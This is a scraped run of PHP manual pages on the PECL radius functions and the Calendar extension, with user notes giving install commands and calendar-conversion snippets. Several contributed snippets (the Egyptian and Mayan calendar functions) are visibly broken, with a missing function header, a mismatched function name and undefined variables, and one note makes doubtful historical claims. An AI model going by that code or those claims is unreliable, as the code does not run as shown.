radius_put_vendor_string — Attaches a vendor specific string attribute

Description

bool radius_put_vendor_string ( resource $radius_handle , int $vendor , int $type , string $value )
Warning

This function is currently not documented; only its argument list is available.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • radius_put_vendor_int() - Attaches a vendor specific integer attribute

User Contributed Notes

sebastian at sebsoft dot nl 30-Oct-2008 08:04
In the PECL sources, a certain vendor specific string is included for Microsoft systems.
However, if you just want to pass something entirely different, like Cisco specifics, that's possible.
The fact that this isn't included in the sources of the PECL doesn't mean you can't use them.

Better said, everything there is in the dictionary of your Radius server can be put in as string.

Like the following example to write a h323-gw-id:
<?php
$res = radius_acct_open ();
radius_add_server($res,'127.0.0.1', 1813, 'mysecret', 10, 2);
radius_create_request($res, RADIUS_ACCOUNTING_REQUEST);
radius_put_vendor_string($res,9,33 ,"h323-gw-id=123456");

$result = radius_send_request($res);
?>
radius_put_vendor_int
radius_request_authenticator
Radius Functions


Returns the request authenticator

radius_put_vendor_string
radius_send_request
Radius Functions
PHP Manual

radius_request_authenticator

(PECL radius >= 1.1.0)

radius_request_authenticator — Returns the request authenticator

Description

string radius_request_authenticator ( resource $radius_handle )

The request authenticator is needed for demangling mangled data like passwords and encryption-keys.

Return Values

Returns the request authenticator as string, or FALSE on error.

See Also

  • radius_demangle() - Demangles data

User Contributed Notes

There are no user contributed notes for this page.
radius_put_vendor_string
radius_send_request
Radius Functions


Sends the request and waites for a reply

radius_request_authenticator
radius_server_secret
Radius Functions
PHP Manual

radius_send_request

(PECL radius >= 1.1.0)

radius_send_request — Sends the request and waites for a reply

Description

int radius_send_request ( resource $radius_handle )

After the Radius request has been constructed, it is sent by radius_send_request().

The radius_send_request() function sends the request and waits for a valid reply, retrying the defined servers in round-robin fashion as necessary.

Return Values

If a valid response is received, radius_send_request() returns the Radius code which specifies the type of the response. This will typically be RADIUS_ACCESS_ACCEPT, RADIUS_ACCESS_REJECT, or RADIUS_ACCESS_CHALLENGE. If no valid response is received, radius_send_request() returns FALSE.

See Also

  • radius_create_request() - Create accounting or authentication request

User Contributed Notes

There are no user contributed notes for this page.
radius_request_authenticator
radius_server_secret
Radius Functions


Returns the shared secret

radius_send_request
radius_strerror
Radius Functions
PHP Manual

radius_server_secret

(PECL radius >= 1.1.0)

radius_server_secret — Returns the shared secret

Description

string radius_server_secret ( resource $radius_handle )

The shared secret is needed as salt for demangling mangled data like passwords and encryption-keys.

Return Values

Returns the server's shared secret as string, or FALSE on error.

User Contributed Notes

There are no user contributed notes for this page.
radius_send_request
radius_strerror
Radius Functions


Returns an error message

radius_server_secret
Date and Time Related Extensions
Radius Functions
PHP Manual

radius_strerror

(PECL radius >= 1.1.0)

radius_strerror — Returns an error message

Description

string radius_strerror ( resource $radius_handle )

If Radius-functions fail then they record an error message. This error message can be retrieved with this function.

Return Values

Returns error messages as string from failed radius functions.

User Contributed Notes

There are no user contributed notes for this page.
radius_server_secret
Date and Time Related Extensions
Radius Functions


Date and Time Related Extensions

  • Calendar
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Calendar Functions
  • Date/Time — Date and Time
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • DateTime — The DateTime class
    • DateTimeZone — The DateTimeZone class
    • DateInterval — The DateInterval class
    • DatePeriod — The DatePeriod class
    • Date/Time Functions
    • Supported Date and Time Formats
    • List of Supported Timezones

User Contributed Notes

There are no user contributed notes for this page.
radius_strerror
Calendar
Function Reference


Calendar

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Calendar Functions
    • cal_days_in_month — Return the number of days in a month for a given year and calendar
    • cal_from_jd — Converts from Julian Day Count to a supported calendar
    • cal_info — Returns information about a particular calendar
    • cal_to_jd — Converts from a supported calendar to Julian Day Count
    • easter_date — Get Unix timestamp for midnight on Easter of a given year
    • easter_days — Get number of days after March 21 on which Easter falls for a given year
    • FrenchToJD — Converts a date from the French Republican Calendar to a Julian Day Count
    • GregorianToJD — Converts a Gregorian date to Julian Day Count
    • JDDayOfWeek — Returns the day of the week
    • JDMonthName — Returns a month name
    • JDToFrench — Converts a Julian Day Count to the French Republican Calendar
    • JDToGregorian — Converts Julian Day Count to Gregorian date
    • jdtojewish — Converts a Julian day count to a Jewish calendar date
    • JDToJulian — Converts a Julian Day Count to a Julian Calendar Date
    • jdtounix — Convert Julian Day to Unix timestamp
    • JewishToJD — Converts a date in the Jewish Calendar to Julian Day Count
    • JulianToJD — Converts a Julian Calendar date to Julian Day Count
    • unixtojd — Convert Unix timestamp to Julian Day

User Contributed Notes

There are no user contributed notes for this page.
Date and Time Related Extensions
Introduction
Date and Time Related Extensions


Introduction

The calendar extension presents a series of functions to simplify converting between different calendar formats. The intermediary or standard it is based on is the Julian Day Count. The Julian Day Count is a count of days starting from January 1st, 4713 B.C. To convert between calendar systems, you must first convert to Julian Day Count, then to the calendar system of your choice. Julian Day Count is very different from the Julian Calendar! For more information on Julian Day Count, visit » http://www.hermetic.ch/cal_stud/jdn.htm. For more information on calendar systems visit » http://www.fourmilab.ch/documents/calendar/. Excerpts from this page are included in these instructions, and are in quotes.

User Contributed Notes

There are no user contributed notes for this page.
Calendar
Installing/Configuring
Calendar


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Calendar


Requirements

No external libraries are needed to build this extension.

User Contributed Notes

Kaspar 18-Feb-2009 04:05
You do not need any external libraries but you have to compile php with it! See next section installation
http://de2.php.net/manual/en/calendar.installation.php
Installing/Configuring
Installation
Installing/Configuring


Installation

To get these functions to work, you have to compile PHP with --enable-calendar .

The Windows version of PHP has built-in support for this extension. You do not need to load any additional extensions in order to use these functions.

User Contributed Notes

CoderUA at example dot com 04-Dec-2011 02:55
FreeBSD Installation for PHP5:

Installation from packages:
pkg_add php5-calendar

Installation from ports:
cd /usr/ports/misc/php5-calendar && make install clean

Then to enable this module, add the following to php.ini (usually in /usr/local/etc/php/extensions.ini)

    extension=calendar.so
Phil 02-Apr-2010 06:38
For Gentoo users:

> USE="calendar" emerge -av php

Yes, remerging is necessary
tricky at cix dot co dot uk 20-Dec-2008 04:22
NetBSD Installation for PHP5:

pkg_add php5-calendar

Then to enable this module, add the following to php.ini (usually in /usr/pkg/etc/php.ini)

    extension=calendar.so
Requirements
Runtime Configuration
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

CAL_GREGORIAN (integer)
CAL_JULIAN (integer)
CAL_JEWISH (integer)
CAL_FRENCH (integer)
CAL_NUM_CALS (integer)
CAL_DOW_DAYNO (integer)
CAL_DOW_SHORT (integer)
CAL_DOW_LONG (integer)
CAL_MONTH_GREGORIAN_SHORT (integer)
CAL_MONTH_GREGORIAN_LONG (integer)
CAL_MONTH_JULIAN_SHORT (integer)
CAL_MONTH_JULIAN_LONG (integer)
CAL_MONTH_JEWISH (integer)
CAL_MONTH_FRENCH (integer)

The following constants are available since PHP 4.3.0 :

CAL_EASTER_DEFAULT (integer)
CAL_EASTER_ROMAN (integer)
CAL_EASTER_ALWAYS_GREGORIAN (integer)
CAL_EASTER_ALWAYS_JULIAN (integer)

The following constants are available since PHP 5.0.0 :

CAL_JEWISH_ADD_ALAFIM_GERESH (integer)
CAL_JEWISH_ADD_ALAFIM (integer)
CAL_JEWISH_ADD_GERESHAYIM (integer)

User Contributed Notes

There are no user contributed notes for this page.
Resource Types
Calendar Functions
Calendar


Calendar Functions

Table of Contents

  • cal_days_in_month â€” Return the number of days in a month for a given year and calendar
  • cal_from_jd â€” Converts from Julian Day Count to a supported calendar
  • cal_info â€” Returns information about a particular calendar
  • cal_to_jd â€” Converts from a supported calendar to Julian Day Count
  • easter_date â€” Get Unix timestamp for midnight on Easter of a given year
  • easter_days â€” Get number of days after March 21 on which Easter falls for a given year
  • FrenchToJD â€” Converts a date from the French Republican Calendar to a Julian Day Count
  • GregorianToJD â€” Converts a Gregorian date to Julian Day Count
  • JDDayOfWeek â€” Returns the day of the week
  • JDMonthName â€” Returns a month name
  • JDToFrench â€” Converts a Julian Day Count to the French Republican Calendar
  • JDToGregorian â€” Converts Julian Day Count to Gregorian date
  • jdtojewish â€” Converts a Julian day count to a Jewish calendar date
  • JDToJulian â€” Converts a Julian Day Count to a Julian Calendar Date
  • jdtounix â€” Convert Julian Day to Unix timestamp
  • JewishToJD â€” Converts a date in the Jewish Calendar to Julian Day Count
  • JulianToJD â€” Converts a Julian Calendar date to Julian Day Count
  • unixtojd â€” Convert Unix timestamp to Julian Day

User Contributed Notes

simon at chronolabs dot org dot au 17-Jun-2008 01:09
This is the Japanese calendar in a basic formation of php..

<?php

function JapaneseCalendar($unix_time, $gmt,
                          $monthsystem = 0) {

$months[0]['name'] = array(
    'ichigatsu','nigatsu','sangatsu',
    'shigatsu','gogatsu','rokugatsu',
    'shichigatsu','hachigatsu','kugatsu',
    'jÅ«gatsu','jÅ«ichigatsu','jÅ«nigatsu');

$months[0]['cause'] = array(
    'first month',
    'second month',
    'third month',
    'forth month',
    'fifth month',
    'six month',
    'seventh month',
    'eighth month',
    'ninth month',
    'tenth month',
    'elventh month',
    'twelve month');

$months[1]['name'] = array(
    'mutsuki','kinusaragi','yayoi',
    'uzuki','satsuki','minatsuki',
    'fumizuki','hazuki','nagatsuki',
    'kaminazuki','shimotsuki','shiwasu');

$months[1]['cause'] = array(
    'affection month',
    'changing clothes',
    'new life',
    'u-no-hana month',
    'fast month',
    'month of water',
    'book month',
    'leaf month',
    'long month',
    'month of gods',
    'frost month',
    'priests run');

$days['roman'] = array(
    'nichiyÅbi','getsuyÅbi','kayÅbi',
    'suiyÅbi','mokuyÅbi','kin\'yÅbi','doyÅbi');
$days['element'] =
   array('Sun','Moon','Fire','Water',
   'Wood','Gold','Earth');
$days['day'] = array(
   'tsuitachi','futsuka','mikka','yokka',
   'itsuka','muika','nanoka','yÅka',
   'kokonoka','tÅka','jÅ«ichinichi',
   'jÅ«ninichi','jÅ«sannichi','jÅ«yokka',
   'jÅ«gonichi','jÅ«rokunichi',
   'jÅ«shichinichi','jÅ«hachinichi',
   'jÅ«kunichi','hatsuka',
   'nijÅ«ichinichi','nijÅ«ninichi',
   'nijÅ«sannichi','nijÅ«yokka',
   'nijÅ«gonichi','nijÅ«rokunichi',
   'nijÅ«shichinichi','nijÅ«hachinichi',
   'nijÅ«kunichi','sanjÅ«nichi',
   'sanjÅ«ichinichi');

return  array("date"=>$days['roman'][date('w', $unix_time)].' '.
   $days['day'][date('d', $unix_time)-1].' '.
   $months[$monthsystem]['name'][date('n', $unix_time)-1].
   ' '.date('Y', $unix_time),"cause" =>
   $days['element'][date('w', $unix_time)].
   ' '.$months[$monthsystem]['cause'][date('n', $unix_time)-1],
   "time" => date('h:i:s A', $unix_time));
}

?>

When I first ran this routine, I was referencing $month not $months, and for some reason it was still returning the month but not the cause, but the variable didn't exist. I found this odd around this time. I didn't know what would cause my RSS Feed to display the month even when there was no variable referred to the data.
simon at chronolabs dot org dot au 20-Nov-2007 12:20
<?php

// You need to replace this section in Function EgyptianCalendar
// As well as Function MayanTihkalCalendar
$revolutionsperyear = $ttl_num / $i;
$numyears = floor((ceil($roun) / $revolutionsperyear));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($roun) - ceil($revolutionsperyear*($numyears+1)));
while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($roun<0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-($tt-1);
                        $month = $avg_num_month-($t-1);
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}
?>

This section of code need to be changed in the calculation I noticed today in our RounCalendar we had a zero day this function will calculate the month and day correctly for the calendars, it is a pretty universe piece of code, I am sorry it wasn't properly tested and need some refactoring.
simon at chronolabs dot org dot au 09-Nov-2007 11:44
This is the egyptian calendar which was the first 365 day calendar on the planet it has no leap year which makes it a little inaccurate but you can work on your own implementation of this code when you like, this is another implementation of the roun floating point code which is a universal code for generating date codec's you can make practically all calendars with this code the $pweight is based on my research on carbon date stamping etc of when egypt epoch or PPO was made, some people argue a few thousand years while other can date egypts epoch being around 30000 years ago!! This is on the basis of tidal marking on statues and momuments when the are was covered in water after construction from sea level rising.

<?php

print_r(EgyptCalendar(time(),0));

function EgyptianCalendar($unix_time, $gmt,
                 $poffset = '1970-02-26 7:45 PM',
                 $pweight = '-9777600.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 â€“ Calculate Floating Point
$tme = $unix_time;

if ($gmt>0){$gmt=-$gmt;} else {$gmt=abs($gmt);}

$ptime = strtotime($poffset)+(60*60*gmt);
$weight = $pweight+(1*gmt);

$egypt_xa = ($tme)/(24*60*60);
$egypt_ya = $ptime/(24*60*60);
$egypt = (($egypt_xa -$egypt_ya) -
         $weight)+(microtime/999999);

// Code Segment 2 â€“ Set month day arrays
$nonedeficient = array(
   "seq1" => array(30,30,30,30,30,30,30,30,30,30,30,30,5));

$monthnames = array(
   "seq1" => array('Thoth','Phaophi','Athyr','Choiak',
   'Tybi', 'Mecheir','Phamenoth','Pharmuthi','Pachon',
   'Payni','Epiphi','Mesore','epagomenai'));

$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 â€“ Calculate month number, day number
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = egyptd((floor($egypt) / $revolutionsperyear),0);
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($egypt) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($egypt>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

//$numyears = abs($numyears);

$timer = substr($egypt, strpos($egypt,'.')+1,
    strlen($egypt)-strpos($egypt,'.')-1);
$egypt_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
    floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
    floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
    floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
    substr($timer,6,strlen($timer)-6);
$egypt_obj = array('year'=>$numyears,
    'month'=>$month,
    'mname' => $monthnames[$sequence][$month-1],
    'day'=>$daynum,
    'jtl'=>$jtl,
    'day_count'=>$day,
    'hours'=>floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
    'minute'=>floor(intval(substr($timer,2,2))/100
              *$timeset['minutes']),
    'seconds'=>floor(intval(substr($timer,4,2))/100
               *$timeset['seconds']),
    'microtime'=>substr($timer,6,strlen($timer)-6),
                 'strout'=>$egypt_out);

return $egypt_obj;
}

?>

btw in my previous post of the Mayan Tikal calendar the top part of the function was chopped off in my code cut and paste that is the line for the function which looks like, the top 3 line will need to be replace with:

<?php

print_r(MayanTikalCalendar(time(),0));

function MayanTikalCalendar($unix_time, $gmt,

?>
simon at chronolabs dot org dot au 08-Nov-2007 05:27
Well this is the second part, well more the second calendar of Maya the Tikal there is two of them one for long count, one for general date seeding, this is using an implementation of floating point time (roun).

<?php

$maya = MayanTikalCalendar(time(),0);

print_r($maya);

                 $poffset = '2012-12-21 8:24 PM',
                 $pweight = '-1872000.22222222223',
                 $defiency='nonedeficient',
                 $timeset= array("hours" => 24,
                                 "minutes" => 60,
                                 "seconds" => 60))
{
// Code Segment 1 â€“ Calculate Floating Point
$tme = $unix_time;
if ($gmt>0){ $gmt=-$gmt; } else { $gmt=abs($gmt); }

$ptime = strtotime($poffset)+(60*60*gmt);
$maya_xa = ($tme)/(24*60*60);
$maya_ya = $ptime/(24*60*60);
$maya = (($maya_xa -$maya_ya) - $pweight)+(microtime/999999);

// Code Segment 2 â€“ Set month day arrays
$nonedeficient = array(
"seq1" => array(20,20,20,20,20,20,20,20,20,
                20,20,20,20,20,20,20,20,20,5));

$monthnames = array("seq1" => array(
 'Pop', 'Uo', 'Zip', 'Zot\'z', 'Tzec', 'Xul',
 'Yaxkin', 'Mol', 'Ch\'en', 'Yax', 'Zac', 'Ceh',
 'Mac', 'Kankin', 'Muan', 'Pax', 'Kayab',
 'Cumku', 'Uayeb'));
$daynames = array("seq1" => array(
 'Imix', 'Ik', 'Akbal', 'Kan', 'Chicchan',
 'Cimi','Manik', 'Lamat', 'Muluc', 'Oc',
 'Chuen', 'Eb', 'Ben', 'Ix', 'Men',
 'Cib', 'Caban', 'Etz\'nab', 'Cauac', 'Ahau'));
$monthusage = isset($defiency) ? ${$defiency} : $deficient;

// Code Segment 3 â€“ Calculate month number, day numbers etc
foreach($monthusage as $key => $item){
    $i++;
    foreach($item as $numdays){
        $ttl_num=$ttl_num+$numdays;
        $ttl_num_months++;
    }
}

$revolutionsperyear = $ttl_num / $i;
$numyears = (round((floor($maya) / $revolutionsperyear),0));
$avg_num_month = $ttl_num_months/$i;
$jtl = abs(abs($maya) -
       ceil($revolutionsperyear*($numyears+1)));

while($month==0){
    $day=0;
    $u=0;
    foreach($monthusage as $key => $item){
        $t=0;
        foreach($item as $numdays){
            $t++;
            $tt=0;
            for($sh=1;$sh<=$numdays;$sh++){
                $ii=$ii+1;
                $tt++;
                if ($ii==floor($jtl)){
                    if ($maya>0){
                        $daynum = $tt;
                        $month = $t;
                    } else {
                        $daynum = $numdays-$tt;
                        $month = $avg_num_month-$t;
                    }
                    $sequence = $key;
                    $nodaycount=true;
                }
            }
            if ($nodaycount==false)
                $day++;
        }
        $u++;
    }
}

$timer = substr($maya, strpos($maya,'.')+1,
         strlen($maya)-strpos($maya,'.')-1);
$maya_out= $numyears.'/'.$month.'/'.$daynum.' '.$day.'.'.
  floor(intval(substr($timer,0,2))/100*$timeset['hours']).':'.
  floor(intval(substr($timer,2,2))/100*$timeset['minutes']).':'.
  floor(intval(substr($timer,4,2))/100*$timeset['seconds']).'.'.
  substr($timer,6,strlen($timer)-6);

$maya_obj = array(
  'longcount'=>MayanLongCount($tme),'year'=>abs($numyears),
  'month'=>$month, 'mname' => $monthnames[$sequence][$month-1],
  'day'=>$daynum, 'dayname'=>$daynames[$sequence][$daynum-1],
  'day'=>$daynum, 'jtl'=>$jtl, 'day_count'=>$day,
  'hours'=>     floor(intval(substr($timer,0,2))/100
             *$timeset['hours']),
  'minute'=> floor(intval(substr($timer,2,2))/100
             *$timeset['minutes']),
  'seconds'=>floor(intval(substr($timer,4,2))/100
             *$timeset['seconds']),
  'microtime'=>substr($timer,6,strlen($timer)-6),
  'strout'=>$maya_out);

return $maya_obj;
}

?>
simon at chronolabs dot org dot au 07-Nov-2007 10:00
This will return the mayan long count calendar which cycle reaches 13.0.0.0.0 in 2012, I have had to compress the changemaya function for this code library so if you want to space it out your more than welcome. It works with unix time. To call the routine use the following syntax. The mayan calendar is a day count that is around 5000 years old, it tracks our cestial position in the galaxy

<?php

echo MayanLongCount(time());

function MayanLongCount($tme){

    $config = array('ppo' => array(13,0,0,0,0),
                    'epoch' => strtotime('2012-12-21'));

    $diff=(($tme-$config['epoch'])/(60*60*24));
    $ppo = changemaya($config['ppo'],ceil($diff));

    return $ppo[0].'.'.$ppo[1].'.'.$ppo[2].'.'.$ppo[3].'.'.$ppo[4];
}

function changemaya($ppo,$diff){
if ($diff>0) { $amount=1; } else { $amount=-1; }
for ($sh=1;$sh<abs($diff);$sh++){ if ($ppo[4]+$amount>20){
if ($ppo[3]+$amount>20){ if ($ppo[2]+$amount>20){
if ($ppo[1]+$amount>20){ if ($ppo[0]+$amount>20){
$ppo[0]=0; $ppo[1]=0; $ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=0; $ppo[0]=$ppo[0]+$amount;}
} else { $ppo[2]=0; $ppo[1]=$ppo[1]+$amount;    }
} else {$ppo[3]=0; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=0; $ppo[3]=$ppo[3]+$amount; }
} elseif ($ppo[4]+$amount<0){ if ($ppo[3]+$amount<0){
if ($ppo[2]+$amount<0){    if ($ppo[1]+$amount<0){
if ($ppo[0]+$amount<0){    $ppo[0]=20;    $ppo[1]=0;
$ppo[2]=0; $ppo[3]=0; $ppo[4]=0;
} else { $ppo[1]=20; $ppo[0]=$ppo[0]+$amount; }
} else { $ppo[2]=20; $ppo[1]=$ppo[1]+$amount; }
} else { $ppo[3]=20; $ppo[2]=$ppo[2]+$amount; }
} else { $ppo[4]=20; $ppo[3]=$ppo[3]+$amount; }
} else { $ppo[4]=$ppo[4]+$amount;}}
    return $ppo;
}

?>

Thanks!!
Martin Lindhe 27-Sep-2007 05:08
To calculate NTP timestamp from unix timestamp:

<?
function ntptime()
{
    return 2208988800 + time();
}
?>

NTP timestamps are represented as a 64-bit unsigned fixed-
point number, in seconds relative to 0h on 1 January 1900.
schotm29 at hotmail dot com 07-Sep-2007 06:00
fRay Fergusons light reimplimentation doesn't work all of the time, because of the inaccuracy in the calculations (it is quite accurate but not accurate enough for a live web app)
david dot scourfield at llynfi dot co dot uk 17-Aug-2007 03:13
I created this function a while ago and needed it again recently, so had to trawl through some old files to find it. Thought I'd post it here in case anyone else finds it useful.

<?php

/*
 *    Function to calculate which days are British bank holidays (England & Wales) for a given year.
 *
 *    Created by David Scourfield, 07 August 2006, and released into the public domain.
 *    Anybody may use and/or modify this code.
 *
 *    USAGE:
 *
 *    array calculateBankHolidays(int $yr)
 *
 *    ARGUMENTS
 *
 *    $yr = 4 digit numeric representation of the year (eg 1997).
 *
 *    RETURN VALUE
 *
 *    Returns an array of strings where each string is a date of a bank holiday in the format "yyyy-mm-dd".
 *
 *    See example below
 *
 */

function calculateBankHolidays($yr) {

    $bankHols = Array();

    // New year's:
    switch ( date("w", strtotime("$yr-01-01 12:00:00")) ) {
        case 6:
            $bankHols[] = "$yr-01-03";
            break;
        case 0:
            $bankHols[] = "$yr-01-02";
            break;
        default:
            $bankHols[] = "$yr-01-01";
    }

    // Good friday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) - 2)." days", strtotime("$yr-03-21 12:00:00") ));

    // Easter Monday:
    $bankHols[] = date("Y-m-d", strtotime( "+".(easter_days($yr) + 1)." days", strtotime("$yr-03-21 12:00:00") ));

    // May Day:
    if ($yr == 1995) {
        $bankHols[] = "1995-05-08"; // VE day 50th anniversary year exception
    } else {
        switch (date("w", strtotime("$yr-05-01 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-02";
                break;
            case 1:
                $bankHols[] = "$yr-05-01";
                break;
            case 2:
                $bankHols[] = "$yr-05-07";
                break;
            case 3:
                $bankHols[] = "$yr-05-06";
                break;
            case 4:
                $bankHols[] = "$yr-05-05";
                break;
            case 5:
                $bankHols[] = "$yr-05-04";
                break;
            case 6:
                $bankHols[] = "$yr-05-03";
                break;
        }
    }

    // Whitsun:
    if ($yr == 2002) { // exception year
        $bankHols[] = "2002-06-03";
        $bankHols[] = "2002-06-04";
    } else {
        switch (date("w", strtotime("$yr-05-31 12:00:00"))) {
            case 0:
                $bankHols[] = "$yr-05-25";
                break;
            case 1:
                $bankHols[] = "$yr-05-31";
                break;
            case 2:
                $bankHols[] = "$yr-05-30";
                break;
            case 3:
                $bankHols[] = "$yr-05-29";
                break;
            case 4:
                $bankHols[] = "$yr-05-28";
                break;
            case 5:
                $bankHols[] = "$yr-05-27";
                break;
            case 6:
                $bankHols[] = "$yr-05-26";
                break;
        }
    }

    // Summer Bank Holiday:
    switch (date("w", strtotime("$yr-08-31 12:00:00"))) {
        case 0:
            $bankHols[] = "$yr-08-25";
            break;
        case 1:
            $bankHols[] = "$yr-08-31";
            break;
        case 2:
            $bankHols[] = "$yr-08-30";
            break;
        case 3:
            $bankHols[] = "$yr-08-29";
            break;
        case 4:
            $bankHols[] = "$yr-08-28";
            break;
        case 5:
            $bankHols[] = "$yr-08-27";
            break;
        case 6:
            $bankHols[] = "$yr-08-26";
            break;
    }

    // Christmas:
    switch ( date("w", strtotime("$yr-12-25 12:00:00")) ) {
        case 5:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-28";
            break;
        case 6:
            $bankHols[] = "$yr-12-27";
            $bankHols[] = "$yr-12-28";
            break;
        case 0:
            $bankHols[] = "$yr-12-26";
            $bankHols[] = "$yr-12-27";
            break;
        default:
            $bankHols[] = "$yr-12-25";
            $bankHols[] = "$yr-12-26";
    }

    // Millenium eve
    if ($yr == 1999) {
        $bankHols[] = "1999-12-31";
    }

    return $bankHols;

}

/*
 *    EXAMPLE:
 *
 */

header("Content-type: text/plain");

$bankHolsThisYear = calculateBankHolidays(2007);

print_r($bankHolsThisYear);

?>

Will output this result:

Array
(
    [0] => 2007-01-01
    [1] => 2007-04-06
    [2] => 2007-04-09
    [3] => 2007-05-07
    [4] => 2007-05-28
    [5] => 2007-08-27
    [6] => 2007-12-25
    [7] => 2007-12-26
)
fRay Ferguson 21-Apr-2006 07:32
The following is a light reimplimentation of some of these functions wich can be used in an include file to work around the lack of --with-calendar in php implimentations.

<?php

/* IMPLEMENTS SUBSET OF PHP CALENDAR FUNCTIONS ON SYSTEMS COMPILED W/O --enable-calendar */

if (!function_exists('cal_days_in_month')){
        function cal_days_in_month($a_null, $a_month, $a_year) {
                return date('t', mktime(0, 0, 0, $a_month+1, 0, $a_year));
        }
}

if (!function_exists('cal_to_jd')){
        function cal_to_jd($a_null, $a_month, $a_day, $a_year){
                if ( $a_month <= 2 ){
                     $a_month = $a_month + 12 ;
                     $a_year = $a_year - 1 ;
                }
                $A = intval($a_year/100);
                $B = intval($A/4) ;
                $C = 2-$A+$B ;
                $E = intval(365.25*($a_year+4716)) ;
                $F = intval(30.6001*($a_month+1));
                return intval($C+$a_day+$E+$F-1524) ;
        }
}

if (!function_exists('get_jd_dmy')) {
   function get_jd_dmy($a_jd){
     $W = intval(($a_jd - 1867216.25)/36524.25) ;
     $X = intval($W/4) ;
     $A = $a_jd+1+$W-$X ;
     $B = $A+1524 ;
     $C = intval(($B-122.1)/365.25) ;
     $D = intval(365.25*$C) ;
     $E = intval(($B-$D)/30.6001) ;
     $F = intval(30.6001*$E) ;
     $a_day = $B-$D-$F ;
     if ( $E > 13 ) {
        $a_month=$E-13 ;
        $a_year = $C-4715 ;
     } else {
        $a_month=$E-1 ;
        $a_year=$C-4716 ;
     }
     return array($a_month, $a_day, $a_year) ;
   }
}

if (!function_exists('jdmonthname')) {
        function jdmonthname($a_jd,$a_mode){
                $tmp = get_jd_dmy($a_jd) ;
                $a_time = "$tmp[0]/$tmp[1]/$tmp[2]" ;
                switch($a_mode) {
                        case 0:
                                return strftime("%b",strtotime("$a_time")) ;
                        case 1:
                                return strftime("%B",strtotime("$a_time")) ;
                }
        }
}

if (!function_exists('jddayofweek')) {
        function jddayofweek($a_jd,$a_mode){
                $tmp = get_jd_dmy($a_jd) ;
                $a_time = "$tmp[0]/$tmp[1]/$tmp[2]" ;
                switch($a_mode) {
                        case 1:
                                return strftime("%A",strtotime("$a_time")) ;
                        case 2:
                                return strftime("%a",strtotime("$a_time")) ;
                        default:
                                return strftime("%w",strtotime("$a_time")) ;
                }
        }
}

?>
amichauer at gmx dot de 27-Jun-2005 09:46
<?php

class HijriCalendar
{
    function monthName($i) // $i = 1..12
    {
        static $month  = array(
            "Möxärräm", "Safar", "Rabig-äl-Äwwäl", "Rabig-äl-Axír",
            "Cömäd-äl-Äwwäl", "Cömäd-äl-Axír", "Racäb", "Þäðbän",
            "Ramazan", "Þäwäl", "Zö-äl-Qäðdä", "Zö-äl-Xiccä"
        );
        return $month[$i-1];
    }

    function GregorianToHijri($time = null)
    {
        if ($time === null) $time = time();
        $m = date('m', $time);
        $d = date('d', $time);
        $y = date('Y', $time);

        return HijriCalendar::JDToHijri(
            cal_to_jd(CAL_GREGORIAN, $m, $d, $y));
    }

    function HijriToGregorian($m, $d, $y)
    {
        return jd_to_cal(CAL_GREGORIAN,
            HijriCalendar::HijriToJD($m, $d, $y));
    }

    # Julian Day Count To Hijri
    function JDToHijri($jd)
    {
        $jd = $jd - 1948440 + 10632;
        $n  = (int)(($jd - 1) / 10631);
        $jd = $jd - 10631 * $n + 354;
        $j  = ((int)((10985 - $jd) / 5316)) *
            ((int)(50 * $jd / 17719)) +
            ((int)($jd / 5670)) *
            ((int)(43 * $jd / 15238));
        $jd = $jd - ((int)((30 - $j) / 15)) *
            ((int)((17719 * $j) / 50)) -
            ((int)($j / 16)) *
            ((int)((15238 * $j) / 43)) + 29;
        $m  = (int)(24 * $jd / 709);
        $d  = $jd - (int)(709 * $m / 24);
        $y  = 30*$n + $j - 30;

        return array($m, $d, $y);
    }

    # Hijri To Julian Day Count
    function HijriToJD($m, $d, $y)
    {
        return (int)((11 * $y + 3) / 30) +
            354 * $y + 30 * $m -
            (int)(($m - 1) / 2) + $d + 1948440 - 385;
    }
};

